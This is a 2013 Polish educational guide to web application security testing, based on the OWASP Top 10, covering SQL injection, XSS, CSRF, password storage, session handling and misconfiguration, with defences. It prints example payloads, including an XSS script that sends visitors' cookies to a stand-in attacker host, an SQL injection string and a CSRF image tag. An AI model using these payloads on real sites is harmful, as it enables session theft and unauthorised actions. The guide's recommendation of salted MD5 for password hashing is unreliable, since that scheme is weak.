Embed Size (px)
Citation preview
TESTOWANIE POZIOMU BEZPIECZEŃSTWA APLIKACJI INTERNETOWYCH
Teoria i praktyka v. 1.0
HISTORIA ZMIAN 28.05.2013 v. 1.0 Antoni Orfin <[email protected]> Pierwsza wersja dokumentu.
2 | S t r o n a
SPIS TREŚCI Historia zmian ......................................................................................................................................................... 1 1. Wstęp .............................................................................................................................................................. 3
OWASP Top 10 2013 ........................................................................................................................................... 3
Raport o stanie bezpieczeństwa cyberprzestrzeni RP w 2011 roku .................................................................... 3 2. Podatności systemów webowych ................................................................................................................... 4
Injection – bezpośrednie wstrzykiwanie kodu .................................................................................................... 4
Cross-‐Site Scripting (XSS) .................................................................................................................................... 4
Cross-‐Site Request Forgery (CSRF) ...................................................................................................................... 5
Przechowywanie danych uwierzytelniających w postaci jawnej ........................................................................ 5
Niewłaściwie zaprojektowane mechanizmy rejestracji użytkowników, przypominania hasła, zmiany hasła ..... 6
Przechowywanie ID sesji w adresie www ........................................................................................................... 6
Niezabezpieczony, bezpośredni dostęp do zasobów .......................................................................................... 7
Błędna konfiguracja środowiska ......................................................................................................................... 7 3. Zasady projektowania i rozwijania bezpiecznych aplikacji internetowych ..................................................... 9
Określenie wewnętrznych standardów dotyczących bezpieczeństwa ................................................................ 9 Przeprowadzanie regularnych testów bezpieczeństwa ...................................................................................... 9
Stworzenie środowiska testowego ..................................................................................................................... 9
Zastosowanie Web Application Firewall ............................................................................................................. 9 4. Obowiązujące standardy i dobre praktyki dotyczące testowania bezpieczeństwa serwisów ....................... 10
Open Source Security Testing Methodology Manual (OSSTMM) ..................................................................... 10
OWASP Testing Guide ....................................................................................................................................... 10
3 | S t r o n a
1. WSTĘP Niniejsza praca ma za zadanie przedstawić zagrożenia związane z bezpieczeństwem aplikacji internetowych. Omawia najpowszechniejsze rodzaje zagrożeń, przykłady podatności i sposoby ochrony. Pozwoli na zapoznanie się z ogólnymi zasadami, którymi powinny kierować się osoby odpowiedzialne za wytwarzanie systemów webowych. Jest również bazą która pozwoli skuteczniej przeprowadzać audyty bezpieczeństwa.
Dokument opiera się na dwóch publikacjach, które zostały opisane poniżej: • OWASP TOP 10 2013 • Raport o stanie bezpieczeństwa cyberprzestrzeni RP w 2011 roku
OWASP TOP 10 20131 Publikacja wydana przez organizacją OWASP2 (Open Web Application Security Project).
Głównym celem organizacji jest edukowanie programistów, architektów aplikacji i managerów o konsekwencjach jakie niosą podatności aplikacji webowych. Jej członkami są kluczowe osoby związane z branżą e-‐bezpieczeństwa. Aktualnym przewodniczącym organizacji jest Michael Coates, pełniący również funkcję dyrektora ds. bezpieczeństwa w Mozilla Corporation.
Określa dziesięć najkrytyczniejszych i najpowszechniejszych rodzajów luk bezpieczeństwa aplikacji webowych. Publikacja bazuje na danych zebranych w czterech firmach konsultingowych i narzędziach do automatyzacji procesu testowania bezpieczeństwa. Zebrane dane obejmują ponad 500.000 wykrytych podatności. Zostały one sklasyfikowane do dziesięciu kategorii, ich priorytet został określony na bazie powszechności występowania, możliwościach ich wykorzystania, wykrywalności i przewidywanym ryzyku, które niosą.
RAPORT O STANIE BEZPIECZEŃSTWA CYBERPRZESTRZENI RP W 2011 ROKU3 Raport opracowany przez Rządowy Zespół Reagowania na Incydenty Komputerowe CERT.GOV.PL.
CERT.GOV.PL jest zespołem powołanym w 2008 roku. Do jego podstawowych zadań należy zapewnianie i rozwijanie zdolności jednostek organizacyjnych administracji publicznej Rzeczypospolitej Polskiej do ochrony przed cyberzagrożeniami, ze szczególnym uwzględnieniem ataków ukierunkowanych na infrastrukturę obejmującą systemy i sieci teleinformatyczne, których zniszczenie lub zakłócenie może stanowić zagrożenie dla życia, zdrowia ludzi, dziedzictwa narodowego oraz środowiska albo spowodować poważne straty materialne, a także zakłócić funkcjonowanie państwa.
Raport w szczegółowy sposób omawia statystyki incydentów zarejestrowanych przez zespół, w tym system ARAKIS-‐GOV4.
1 www.owasp.org/index.php/Top_10_2013 2 www.owasp.org 3 www.cert.gov.pl/download/3/137/Raport_roczny_2011_.pdf 4 arakis.cert.pl/pl/index.html
4 | S t r o n a
2. PODATNOŚCI SYSTEMÓW WEBOWYCH
INJECTION – BEZPOŚREDNIE WSTRZYKIWANIE KODU Atak polega na wstrzyknięciu niezaufanego kodu, który następnie jest bezpośrednio wykonywany przez aplikację webową. Najpowszechniejszym atakiem tego typu jest SQL Injection. Polega on wstrzyknięciu do zapytania SQL, budowanego przez aplikację webową, kwerendy atakującego.
W raporcie zespołu CERT.GOV.PL podatność uklasyfikowała się na drugim miejscu pod względem ilości wystąpień. Znalazła się w kategorii błędów o najwyższym poziomie zagrożenia.
PRZYKŁAD Strona umożliwia pobranie z bazy danych artykułu na podstawie jego ID przekazanego w parametrze Query String.
www.strona.pl/artykuly?id=12 SELECT * FROM artykuly WHERE artykul_id=”12”;
Gdy parametr „id” nie zostanie przefiltrowany możliwe będzie wykonanie ataku, który spowoduje spreparowania zapytania SQL do bazy:
www.strona.pl/artykuly?id=12”; SELECT * FROM użytkownicy; -- SELECT * FROM artykuly WHERE artykul_id=”12”; SELECT * FROM użytkownicy; --”;
OCHRONA Każde dane pochodzące „z zewnątrz” należy filtrować po stronie serwera. Filtrowanie może polegać na usuwaniu niebezpiecznych znaków, lub ich odpowiednim escape’owaniu (np. opuszczanie cudzysłowów, apostrofów w danych używanych przy zapytaniu SQL).
Należy pamiętać, że ich obsługa po stronie klienta (np. za pomocą skryptów JavaScript) nie jest wystarczająca – atakujący nie będzie miał problemu, aby spreparować fizyczne żądanie do aplikacji serwerowej.
CROSS-‐SITE SCRIPTING (XSS) 66% podatności wykrytych przez zespół CERT.GOV.PL dotyczyła ataków typu Cross-‐Site Scripting – XSS.
Ten rodzaj podatności występuje gdy dane odebrane z zewnątrz (np. wysłane przez użytkownika w formularzu, przekazane w żądaniu HTTP) nie są odpowiednio filtrowane przed zwróceniem do przeglądarki klienta.
Atak umożliwia wykonanie kodu HTML i JavaScript na podatnej stronie. Dzięki niemu atakujący ma min. możliwość przechwycenia sesji użytkownika, przekierowania na inną stronę lub wyrenderowania własnego kodu HTML, który w efekcie zmieni wygląd strony (deface).
PRZYKŁAD W naszej aplikacji użytkownicy mogą dodawać komentarze do wpisów. Atakujący wysyła komentarz zawierający treść:
<script>document.write('<img src="http://www.haker.pl/p.gif?c='+document.cookie+'">');</script>
Komentarz wyświetla się na stronie. W efekcie zawartość Cookies kolejnych odwiedzających zostaje w sposób niewidoczny wysyłana i zapisywana na serwerze atakującego.
5 | S t r o n a
OCHRONA • Filtrowanie danych wyjściowych – domyślnie wszystkie niezaufane dane wyjściowe powinny być
filtrowane. Tagi HTML mogą być usuwane lub escape’owane. • Zastosowanie whitelisty tagów – czasami pożądane jest gdy zewnętrzne treści zawierają niektóre tagi
HTML (np. podstawowe formatowanie tekstu). Możliwe jest zastosowanie listy tagów dozwolonych. Należy pamiętać, że dodatkowo w tej sytuacji trzeba wykorzystać mechanizmy pozwalające na uporządkowanie i walidowanie kodu HTML. Może się zdarzyć sytuacja, gdy użytkownik np. nie domknie tag’a HTML co w efekcie spowoduje drastyczną zmianę wyglądu naszej strony (deface).
CROSS-‐SITE REQUEST FORGERY (CSRF) Atak tego typu pozwala na zdalne wykonywanie akcji aplikacji internetowej przez atakującego. Po przez niezabezpieczenie akcji mających skutki uboczne (np. usuwanie, modyfikowanie, dodawanie zasobów) możliwe jest osadzenie na stronie obrazka, skryptu JavaScript, arkusza stylów CSS odnoszącego się bezpośrednio do podatnej akcji i jej wykonanie.
Podatność umożliwia również zatwierdzanie niezabezpieczenia formularzy metodą POST.
Atak jest szczególnie groźny w połączeniu z podatnością typu XSS gdzie istnieje możliwość jego osadzenia bezpośrednio na „oryginalnej” stronie.
PRZYKŁAD W aplikacji dostępna jest akcja natychmiastowego usuwania użytkowników za pomocą kliknięcia na link postaci:
www.strona.pl/uzytkownicy/usun?id=5
Atakujący może osadzić obrazek z powyższym linkiem na swojej stronie:
<img src=”http://www.strona.pl/uzytkownicy/usun?id=5”>
Każde wejście na stronę atakującego spowoduje żądanie o stronę usuwania użytkownika. Jeżeli aktualnie jesteśmy zalogowani na podatnej stronie, akcja zostanie w sposób niewidoczny wykonana.
OCHRONA • Używanie tokenów zabezpieczających – doklejanie do linków specjalnych, losowych tokenów
walidowanych po stronie serwera. Należy je również dodawać jako niewidoczne pola (typ „hidden”) do wszystkich formularzy aplikacji. Tokeny do porównania można zapamiętywać w sesji użytkownika.
• Używanie metody POST do akcji mających „skutki uboczne” – akcje zmieniające stan aplikacji nie powinny być możliwe do wykonania po przez żądanie GET. Powyższe zalecenie jest również określone w samej specyfikacji protokołu HTTP/1.1 -‐ RFC 26165. Należy pamiętać, że samo używanie metody POST nie zabezpieczy aplikacji przed atakiem CSRF.
PRZECHOWYWANIE DANYCH UWIERZYTELNIAJĄCYCH W POSTACI JAWNEJ Zapisywanie w bazie danych hasła użytkownika w formie jawnej (czysty tekst).
Po uzyskaniu przez atakującego dostępu do bazy danych uzyskuje on pełną informację o użytkownikach i możliwość zalogowania się na ich konta.
5 www.ietf.org/rfc/rfc2616.txt -‐ rozdział „13.9 Side Effects of GET and HEAD”
6 | S t r o n a
Należy zwrócić również uwagę, że większość użytkowników używa tego samego hasła w wielu usługach. Poznanie go w naszej aplikacji może spowodować możliwość włamania się do kont użytkownika w innych miejscach – np. na skrzynkę e-‐mail.
PRZYKŁAD 30 września 2011 roku atakujący po przez wykorzystanie wcześniej opisanego błędu SQL Injection dostali listę haseł użytkowników ponad 300 witryn samorządowych. Hasła zostały zwrócone w postaci jawnej. Atakujący mieli pełną możliwość wykorzystania poznanych danych do dalszych kroków ataku.
OCHRONA Najprostszą i wysoce skuteczną metodą na uniknięcie wycieku haseł jest zapisywanie w bazie danych hasha (jednokierunkowa funkcja skrótu) z hasła, dodatkowo zabezpieczonego unikalną dla użytkownika „solą”.
HASH = MD5(„hasło użytkownika” + „losowa sól użytkownika”)
Uniemożliwi to wykorzystanie np. Rainbow Tables do znalezienia odpowiadających hash’ów. Posiadając dużą aplikację, zarządzającą wieloma kontami użytkowników w bazie, może się zdarzyć, że kilka osób będzie posiadało to samo hasło. Dzięki dodaniu unikalnej dla użytkownika soli utrudnimy atak – gdyby atakującemu udało się poznać parę hasło – hash jednego z użytkowników nie miałby możliwości wykorzystania tych informacji do włamania się na konta innych z tym samym hasłem (posiadali by oni inne hashe).
NIEWŁAŚCIWIE ZAPROJEKTOWANE MECHANIZMY REJESTRACJI UŻYTKOWNIKÓW, PRZYPOMINANIA HASŁA, ZMIANY HASŁA Najpowszechniejszą metodą zmiany hasła lub jego przypomnienia jest wysłanie na adres e-‐mail użytkownika wiadomości zawierającej adres ze specjalnym tokenem.
Niezastosowanie mechanizmów wygasania tokena może dać większe możliwości na atak na konta użytkowników. URL z tokenem zostaje zapamiętany w historii przeglądarki, logach serwera, wiadomościach e-‐mail użytkownika – istnieje wiele potencjalnych ścieżek na jego poznanie.
PRZYKŁAD Użytkownik „Jan123” rok temu zapomniał swojego hasła do serwisu dlatego użył mechanizmu przypomnienia hasła. Na jego skrzynkę e-‐mail doszła wiadomość z linkiem zawierającym token zmiany hasła. Będąc świadomym użytkownikiem internetu, Jan usunął wiadomość ze swojej skrzynki odbiorczej. W tym czasie Jan zmienił swoje konto pocztowe.
Niestety atakujący uzyskał dane dostępowe do starego konta e-‐maila Jana. W folderze „usuniętych” odnalazł wiadomości z serwisu. Po testach okazało się, że dawne URLe zmiany hasła dalej działają. Haker uzyskał możliwość zmiany hasła Jana.
OCHRONA • Ustawianie czasu życia tokenów. • Zmiana tokena po jego wykorzystaniu – natychmiast po wykorzystaniu tokena (np. po zastosowaniu
zmiany hasła, aktywacji konta) należy go dezaktywować lub usunąć.
PRZECHOWYWANIE ID SESJI W ADRESIE WWW Gdy ID sesji przekazujemy w URL aplikacji, możliwy jest jego łatwy, przypadkowy wyciek. Szczególnie dotyczy to aplikacji społecznościowych, nastawionych na wymianę linków pomiędzy użytkownikami. Po poznaniu ID sesji atakujący uzyskuje dostęp jako zalogowany użytkownik.
7 | S t r o n a
PRZYKŁAD Jan złożył rezerwację na wycieczkę w serwisie turystycznym. Chcąc pochwalić się znajomym, wysłał do nich adres strony oferty – www.travel.pl/oferta?id=12&sessionID=539yengwal4432567. Po wejściu na URL znajomi Jana zobaczyli, że są zalogowani na jego konto, z którego mogli min. odwołać jego zamówienie.
OCHRONA Najprostszą i skuteczną metodą zabezpieczenia jest przekazywanie tego typu parametrów w cookies.
NIEZABEZPIECZONY, BEZPOŚREDNI DOSTĘP DO ZASOBÓW Podatność występuje, gdy w niewłaściwy sposób jest sprawdzane czy dany użytkownik jest uprawniony do dostępu do żądanego zasobu.
Dotyczy to modułów aplikacji, konkretnych podstron, akcji w których biorą udział „obiekty” -‐ zasoby systemu (np. dane pobierane z bazy danych).
PRZYKŁAD 1 Pewny sklep internetowy umożliwia podgląd historii dokonywanych przez siebie zamówień. Dostęp odbywa się po przez adresy typu www.strona.pl/moje-‐zamowienia?id=12.
Po przez podmianę parametru ID możliwe jest zobaczenie zamówienia innych osób. Nie jest sprawdzane czy to zalogowany użytkownik jest właścicielem zamówienia o danym ID. Dzięki temu, że ID zamówień powstają na zasadzie autoinkrementacji łatwe jest zgadnięcie identyfikatorów innych.
PRZYKŁAD 2 Popularnym frameworkiem aplikacji webowych pisanych w języku PHP jest Symfony. Jego domyślna ścieżka do panelu administracyjnego to /backend.php.
Podmiana URLa na www.strona.pl/backend.php spowoduje przejście do panelu administracyjnego aplikacji.
OCHRONA • Używanie mechanizmów autoryzacji – należy zawsze sprawdzać czy użytkownik posiada odpowiedni
poziom uprawnień do żądanego zasobu. • Nieużywanie „jasnych” identyfikatorów zasobów -‐ dla zasobów krytycznych możliwe jest używanie
identyfikatorów typu UUID6 zamiast standardowych, autoinkrementowanych wartości. Dzięki temu spowodujemy również, że użytkownicy nie dowiedzą się o danych statycznych naszej aplikacji – np. ilości zamówień w sklepie internetowym. ID = 12 może oznaczać, że w sklepie złożono dotychczas 12 zamówień.
• Dostęp do zasobów powinien być domyślnie ustawiony na „zabroniony” – udzielenie dostępu powinno być świadome.
BŁĘDNA KONFIGURACJA ŚRODOWISKA Podatność dotyczy wszystkich poziomów aplikacji webowej – serwera, frameworka aplikacji, kodu aplikacji.
Z raportu zespołu CERT.GOV.PL wynika, że najczęściej występujące błędy sieci administracji publicznej związane są z opisywaną podatnością.
Raport o stanie bezpieczeństwa cyberprzestrzeni RP w 2011 roku – Rozdział 2.4
6 en.wikipedia.org/wiki/Universally_unique_identifier
8 | S t r o n a
Do najczęstszych błędów wykrytych podczas testów zabezpieczeń sieci i zasobów teleinformatycznych wewnętrznych instytucji należą:
-‐ Błąd konfiguracyjny polegający na uruchomieniu usług serwerowych zawierających ustawione domyślne dane autoryzacyjne w postaci domyślnego hasła dla użytkownika z uprawnieniami administracyjnymi (serwery WWW, serwery bazodanowe).
-‐ Błąd konfiguracyjny polegający na pozostawieniu aktywnym konta administratora lokalnego na systemach z rodziny systemów Windows działających w ramach Active Directory.
-‐ Brak aktualizacji zainstalowanego oprogramowania na systemach serwerowych jak i brak aktualizacji samych systemów operacyjnych w sieci lokalnej.
PRZYKŁAD 1 W efekcie włączonej domyślnie opcji listingu plików możliwe jest podejrzenie plików obecnych w folderach na serwerze. Niektóre pliki nie zostały poprawnie zabezpieczone przez zespół programistów i możliwe jest otworzenie pliku „config.ini” zawierającego dane dostępowe do serwera baz danych.
PRZYKŁAD 2 W czasie żądania do aplikacji internetowej nie udało się uzyskać połączenia z bazą danych. Zespół zapomniał na środowisku produkcyjnym wyłączyć pokazywanie szczegółów błędów aplikacji. W efekcie użytkownik dostał pełną informację o przebiegu błędu wraz ze szczegółami danych za pomocą których próbowano nawiązać połączenie – nazwę użytkownika i hasło bazy danych.
OCHRONA • Posiadanie aktualnych wersji oprogramowania -‐ opracowanie standardu procesu aktualizacji
oprogramowania (biblioteki, framework, skrypty, moduły zewnętrzne). • Wyłączenie, odinstalowanie wszystkich niepotrzebnych „furtek” do systemu – usunięcie domyślnych
kont administracyjnych, zablokowanie portów, usunięcie testowych serwisów, skryptów, aplikacji. • Zmiana domyślnych danych dostępowych – zmiana domyślnych systemowych (lub dla zastosowanego
frameworka aplikacji webowej) haseł do kont administracyjnych. • Ustawienie poziomu zwracania informacji o błędach -‐ wyłączenie zwracania użytkownikowi
szczegółowych informacji o błędach aplikacji, w tym „stack traces” (przebieg błędu w kodzie). Dzięki temu zmniejszy się ryzyko ujawnienia niepożądanych danych – np. komunikat błędu połączenia do bazy danych może ujawnić dane dostępowe, którymi aplikacja próbowała się uwierzytelniać.
• Odpowiednie ustawienia w plikach konfiguracyjnych – właściwe ustawienie konfiguracji środowiska, szczególnie związanej z uprawnieniami dostępu.
• Modułowa architektura aplikacji – zastosowanie modułowej budowy, która zapewni, że nawet w przypadku uzyskania nieuprawnionego dostępu do jednej części inne będą bezpieczne.
9 | S t r o n a
3. ZASADY PROJEKTOWANIA I ROZWIJANIA BEZPIECZNYCH APLIKACJI
INTERNETOWYCH
OKREŚLENIE WEWNĘTRZNYCH STANDARDÓW DOTYCZĄCYCH BEZPIECZEŃSTWA Oprócz opracowania typowych standardów programistycznych (Code Quality) należy wyznaczyć analogiczne związane z bezpieczeństwem. Będzie to wyznacznik dla zespołu programistów, z którego będzie można ich następnie kontrolować.
PRZEPROWADZANIE REGULARNYCH TESTÓW BEZPIECZEŃSTWA Aplikacja powinna być stale poddawana audytom (testom penetracyjnym) przez zewnętrzny, niezwiązany z osobami ją wdrażającymi, zespół.
STWORZENIE ŚRODOWISKA TESTOWEGO Rozwój aplikacji powinien odbywać się na środowisku testowym, które jest jak najwierniejszą kopią środowiska produkcyjnego.
Dopiero po fazie testów zmiany powinny być wdrażane na środowisko produkcyjne. Nieprzetestowane fragmenty nie powinny być dostępne „z zewnątrz”.
ZASTOSOWANIE WEB APPLICATION FIREWALL7 Możliwe jest zainstalowanie aplikacji działającej jako Firewall przed aplikacją webową. Filtruje ona żądanie HTTP na podstawie zdefiniowanych reguł. Dzięki temu można łatwo automatycznie wyłapać klasyczne ataki typu XSS, SQL Injection itp.
Popularne rozwiązania:
• Modsecurity8-‐ darmowe, Open Source’owe, narzędzie. Posiada predefiniowane filtry, jednak istnieje możliwość dogrania własnych. Darmowy zestaw filtrów bazujących na raporcie OWASP: http://spiderlabs.github.io/owasp-‐modsecurity-‐crs/
• Cloudflare9 -‐ płatna usługa posiadająca rozbudowane możliwości „security”. Oprócz tradycyjnych możliwości WAF potrafi również zabezpieczyć przed atakami DDoS.
7 www.owasp.org/index.php/Web_Application_Firewall 8 www.modsecurity.org 9 www.cloudflare.com
10 | S t r o n a
4. OBOWIĄZUJĄCE STANDARDY I DOBRE PRAKTYKI DOTYCZĄCE TESTOWANIA
BEZPIECZEŃSTWA SERWISÓW Na rynku istnieje wiele gotowych publikacji opisujących metodyki testów bezpieczeństwa. Są to tzw. frameworki – kompletne opisy krok po kroku w jaki sposób należy się przygotowywać do testów, jak je przeprowadzać i jak wyciągać z nich wnioski – włącznie z gotowymi szablonami raportów.
Poniżej opisane zostały najpopularniejsze prace.
OPEN SOURCE SECURITY TESTING METHODOLOGY MANUAL (OSSTMM)10 Dokument zawiera opisy dokonywania testów bezpieczeństwa na poziomie całej organizacji. Są w nim opisane metodyki obowiązujące przy testach:
• Bezpieczeństwa fizycznego – zapewnienie fizycznego bezpieczeństwa organizacji. Kontrola dostępów, dostępność firmowych zasobów, zapewnienie rozgraniczenia pomiędzy zasobami prywatnymi a firmowymi, kontrola poziomów uprawnień pracowników.
• Bezpieczeństwa na poziomie osobistym -‐ ochrona przed atakami socjotechnicznymi (inżynieria społeczna).
• Bezpieczeństwa sieci bezprzewodowych – zapewnienie, aby niepowołane dane nie przedostały się na zewnątrz przedsiębiorstwa drogą bezprzewodową.
• Bezpieczeństwo sieci telekomunikacyjnych – zabezpieczenia skrzynek głosowych, urządzeń VOIP, FAX, tradycyjnych telefonów.
• Bezpieczeństwo w sieci internet – min. testy serwerów, aplikacji internetowych, serwerów baz danych, poczty elektronicznej.
Zawiera gotowe szablony raportów przeznaczone dla kadry wyższego szczebla (executive summary) opisujące główne, biznesowe aspekty przeprowadzonych testów.
OWASP TESTING GUIDE11 Publikacja zawiera metodykę testowania aplikacji webowych. Skupia się na sposobie przeprowadzania testów penetracyjnych.
Opisuje:
• Techniki i narzędzia stosowane przy testowaniu bezpieczeństwa aplikacji internetowej • Zbieranie informacji o testowanej aplikacji (rekonesans środowiska) • Testy:
o Uwierzytelniania, autoryzacji o logiki biznesowej o walidacji danych o ataków typu Denial of service (DDoS) o zarządzania sesjami o web-‐services (SOA -‐ Service Orientated Architecture) o mechanizmów AJAX
• Określanie ryzyka wykrytych podatności
10 www.isecom.org/research/ 11 www.owasp.org/index.php/OWASP_Testing_Project
